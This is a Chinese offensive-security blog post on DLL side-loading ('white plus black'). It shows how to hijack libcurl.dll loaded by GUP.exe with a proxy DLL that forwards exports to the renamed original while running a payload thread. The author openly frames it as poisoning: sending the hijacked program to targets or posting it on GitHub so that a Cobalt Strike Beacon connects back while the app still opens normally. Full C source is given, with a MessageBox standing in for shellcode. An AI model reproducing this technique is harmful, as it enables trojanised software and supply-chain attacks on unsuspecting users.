我们之前一直使用的白加黑都是白文件
+ 黑DLL
+ shellcode
的方式来上线的,一般我们的Loader
都是写在导出函数中的。
一般我们拿到一台机器的权限之后,如果要使用白加黑进行上线的话,我们就需要上传如上的3个文件,最后执行白文件即可上线。但是白加黑真的是这么使用的吗?直接上传3个文件,是否有点太麻烦了?还不如直接一个免杀的冲锋🐴
来的快。
那么我们是不是也可以进行投毒呢?比如说我们将其一个白程序的DLL
进行转发劫持之后,发送给对方,或者发布到Github
一些平台上,当目标下载之后,打开之后是可以正常打开的,我们CobaltStrike
这里也会收到Beacon
。
例如我们现在拿到了一个白文件为GUP.exe
。
首先我们将其Gup.exe
文件复制到新的文件夹中。双击并且使用Procmon64
查看。
发现缺少libcurl.dll
。
DLL
的导入函数就很简单了使用dumpbin /imports libcurl.dll
。如果我们想要确定GUP.exe
调用了libcurl.dll
的那个导出函数,我们可以使用x64dbg.exe
来对libcurl.dll
中的所有导出函数下一个断点。
点击执行就会来到DLL
的导出函数这里。
如下图意味着他会首先调用curl_easy_init
这个导出函数。
这意味着我们可以将恶意载荷放到curl_easy_init
这个导出函数中。
如下代码:
#include <Windows.h>
extern __declspec(dllexport) PVOID curl_easy_init() {
MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_setopt() {
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_cleanup() {
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_perform() {
return NULL;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
需要注意的是我们编译的时候是dllmain.c
而不是dllmain.cpp
。
我们只需将dllmain.cpp
更改为dllmain.c
,再将framework.h
pch.h
pch.cpp
文件都删除掉即可。在编译选项中不要使用预编译头即可。这样就可以编译成功了。
GUP.exe
文件时就会弹出Relaysec
。gup.exe
文件。当我们点击时在任务管理器这里可以看到该文件已经运行了。我们现在的想法是什么?我们的想法是当我们执行恶意载荷之后,还能正常的打开文件。其实说白了就是我们想做一个转发劫持。
意思就是我们执行完恶意载荷之后,我们想继续执行正常的文件。
那么我们就可以当GPU.exe
调用到恶意DLL
(libcurl.dll
)时,在这个恶意DLL
的导出函数中首先将调用转发给原始libcurl.dll
文件,从而使文件正常运行。
我们第一步肯定是需要将其原始的libcurl.dll
更改为其他的名称。比如gup.dll
。当更改之后再次运行发现是无法运行的。
#pragma comment(linker,"/export:curl_easy_setopt=gup.curl_easy_setopt,@14")
#pragma comment(linker,"/export:curl_easy_cleanup=gup.curl_easy_cleanup,@1")
#pragma comment(linker,"/export:curl_easy_perform=gup.curl_easy_perform,@10")
gup
表示转发dll
的名称为gup.dll
。@14
后面的14
表示序数。这个我们可以通过PeBear
来查看。DLL
中是有4个导出函数的,上面只定义了3个导出函数,最后一个呢?curl_easy_init
函数是不能作为转发函数的。因为如果作为转发函数会阻止有效载荷的执行。所以首先我们需要定义该函数的原型。typedef PVOID(WINAPI* relaysec_easy_init)();
定义完之后我们就可以通过LoadLibrary
函数去加载gup.dll
,然后调用该函数就可以了。但是需要注意的是调用该函数之前,我们需要执行我们的恶意代码。
如下完整代码:
#include <Windows.h>
#pragma comment(linker,"/export:curl_easy_setopt=gup.curl_easy_setopt,@14")
#pragma comment(linker,"/export:curl_easy_cleanup=gup.curl_easy_cleanup,@1")
#pragma comment(linker,"/export:curl_easy_perform=gup.curl_easy_perform,@10")
void curl() {
MessageBoxA(NULL, "Relaysec", "Success!", MB_OK | MB_ICONEXCLAMATION);
}
typedef PVOID(WINAPI* relaysec_easy_init)();
extern __declspec(dllexport) PVOID curl_easy_init() {
//通过线程去执行我们的shellcode!!!
CreateThread(NULL, 0x00, curl, NULL, 0x00, NULL);
//执行完shellcode之后 通过LoadLibrary函数加载gup.dll
HMODULE gup = LoadLibrary(L"gup.dll");
//通过GetProcAddress函数获取原始curl_easy_init函数的地址
relaysec_easy_init easyinit = (relaysec_easy_init)GetProcAddress(gup, "curl_easy_init");
//调用原始的curl_easy_init函数 并返回
return easyinit();
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
将其编译好之后放到正常的gup.exe
目录中。
GUP.exe
时shellcode
将执行并执行原始函数curl_easy_init
。原文始发于微信公众号(Relay学安全):白加黑中的一些思考问题
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论